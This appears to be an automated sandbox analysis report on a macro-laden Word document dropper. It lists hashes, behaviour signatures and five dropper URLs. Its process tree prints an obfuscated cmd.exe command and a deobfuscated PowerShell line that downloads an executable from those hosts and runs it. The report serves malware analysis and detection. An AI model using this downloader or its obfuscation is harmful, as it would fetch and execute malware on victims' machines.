Analysis

  • max time kernel
    120s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240508-en
  • resource tags

    arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
  • submitted
    20-05-2024 00:13

General

  • Target

    5c35910b67ab050d07bf32199541ee31_JaffaCakes118.doc

  • Size

    69KB

  • MD5

    5c35910b67ab050d07bf32199541ee31

  • SHA1

    066f5b7a8b19a154479963f3b4cc966c953cd07f

  • SHA256

    66f8fcc2dc5ad76b8818676f97037f3c0decf466abb0a97d14c468160adc52b1

  • SHA512

    0d59aae0f06946794b5766607a98ced548337020be7bea1461fc8f95b0d22946ae5145055423aa476233c2c20cb7a75710add9ac0e4a71fce69f0ccb79375cb2

  • SSDEEP

    1536:zptJlmrJpmxlRw99NBF+a/szUmUmUlo/gGbc2+:9te2dw99fauNQc

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://bigsenindonesia.com/kYQ9UR0

exe.dropper

http://hotelnoraipro.com/iw0

exe.dropper

http://4theweb.co.uk/wwvvv/w3b

exe.dropper

http://andrewmiller.com.au/YJ7ro

exe.dropper

http://91.151.190.122/osticket/C1A9

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 5 IoCs
  • An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\5c35910b67ab050d07bf32199541ee31_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2236
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1828
      • C:\Windows\SysWOW64\cmd.exe
        cmd /V^:^O/C"s^e^t rn=^ ^ ^ ^ ^ ^ ^ }}^{^hctac}^;k^a^erb;Mp^L$ m^et^I^-ek^ovnI;)M^p^L$^ ^,WhX$(eliFd^a^olnwo^D^.qnv${yrt^{)V^W^W^$^ n^i^ ^W^h^X^$(hcaerof;'^exe^.'+^wMO$^+^'\^'^+c^i^l^b^up:vn^e^$^=^M^pL^$;^'3^9^1^' ^= w^MO$^;)'^@'(t^i^l^p^S.'^9A^1C/^tekcitso/22^1^.^0^9^1^.^151^.^19//^:pt^t^h^@^or7^J^Y/u^a^.m^oc^.rel^l^imw^er^dn^a//^:ptt^h@b^3^w/vvvww/^k^u^.^oc^.^b^ew^e^ht^4//:^p^tth^@^0w^i/^m^oc^.orpi^aronleto^h//:^p^tt^h@^0RU9^QY^k/^moc^.^ai^senodnin^esg^i^b//:pt^th'^=VWW^$;tn^e^i^lC^b^e^W^.^t^eN^ tc^e^j^b^o^-^w^en^=^qnv^$^ ^l^lehsr^ew^op&&^f^or /^L %^H ^in (37^3,^-1^,0)^d^o s^e^t ^0^3^i=!^0^3^i!!rn:~%^H,1!&&i^f %^H ^ls^s ^1 c^al^l %^0^3^i:^~-3^74%"
        2⤵
        • Process spawned unexpected child process
        • An obfuscated cmd.exe command-line is typically used to evade detection.
        • Suspicious use of WriteProcessMemory
        PID:2652
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell $vnq=new-object Net.WebClient;$WWV='http://bigsenindonesia.com/kYQ9UR0@http://hotelnoraipro.com/iw0@http://4theweb.co.uk/wwvvv/w3b@http://andrewmiller.com.au/YJ7ro@http://91.151.190.122/osticket/C1A9'.Split('@');$OMw = '193';$LpM=$env:public+'\'+$OMw+'.exe';foreach($XhW in $WWV){try{$vnq.DownloadFile($XhW, $LpM);Invoke-Item $LpM;break;}catch{}}
          3⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2220

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      ca199964d5c08b9a7a5b8f302ecf5da4

      SHA1

      a13f5fe7d2453ffd7eb1df5965f9e8315e4e6be5

      SHA256

      9840c26154ac724b612c0d98906b6bb55964598a2e165dff55d115f48c7cd7dc

      SHA512

      71ef6de9738f0a9c4a42e7d2b3e80fafa6c90187ae56d1f20df824d9a4c97244afe53247f9804204764d7c2642a9c5d45e95be8705bcd7f45e3c8ca3801b731d

    • memory/2236-8-0x0000000000400000-0x0000000000500000-memory.dmp

      Filesize

      1024KB

    • memory/2236-6-0x0000000000400000-0x0000000000500000-memory.dmp

      Filesize

      1024KB

    • memory/2236-15-0x0000000000400000-0x0000000000500000-memory.dmp

      Filesize

      1024KB

    • memory/2236-21-0x0000000000400000-0x0000000000500000-memory.dmp

      Filesize

      1024KB

    • memory/2236-11-0x0000000000400000-0x0000000000500000-memory.dmp

      Filesize

      1024KB

    • memory/2236-10-0x0000000000400000-0x0000000000500000-memory.dmp

      Filesize

      1024KB

    • memory/2236-9-0x0000000000400000-0x0000000000500000-memory.dmp

      Filesize

      1024KB

    • memory/2236-0-0x000000002FB01000-0x000000002FB02000-memory.dmp

      Filesize

      4KB

    • memory/2236-48-0x0000000070E2D000-0x0000000070E38000-memory.dmp

      Filesize

      44KB

    • memory/2236-2-0x0000000070E2D000-0x0000000070E38000-memory.dmp

      Filesize

      44KB

    • memory/2236-7-0x0000000000400000-0x0000000000500000-memory.dmp

      Filesize

      1024KB

    • memory/2236-23-0x0000000000400000-0x0000000000500000-memory.dmp

      Filesize

      1024KB

    • memory/2236-22-0x0000000000400000-0x0000000000500000-memory.dmp

      Filesize

      1024KB

    • memory/2236-31-0x0000000070E2D000-0x0000000070E38000-memory.dmp

      Filesize

      44KB

    • memory/2236-32-0x0000000000400000-0x0000000000500000-memory.dmp

      Filesize

      1024KB

    • memory/2236-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2236-47-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2236-12-0x0000000000400000-0x0000000000500000-memory.dmp

      Filesize

      1024KB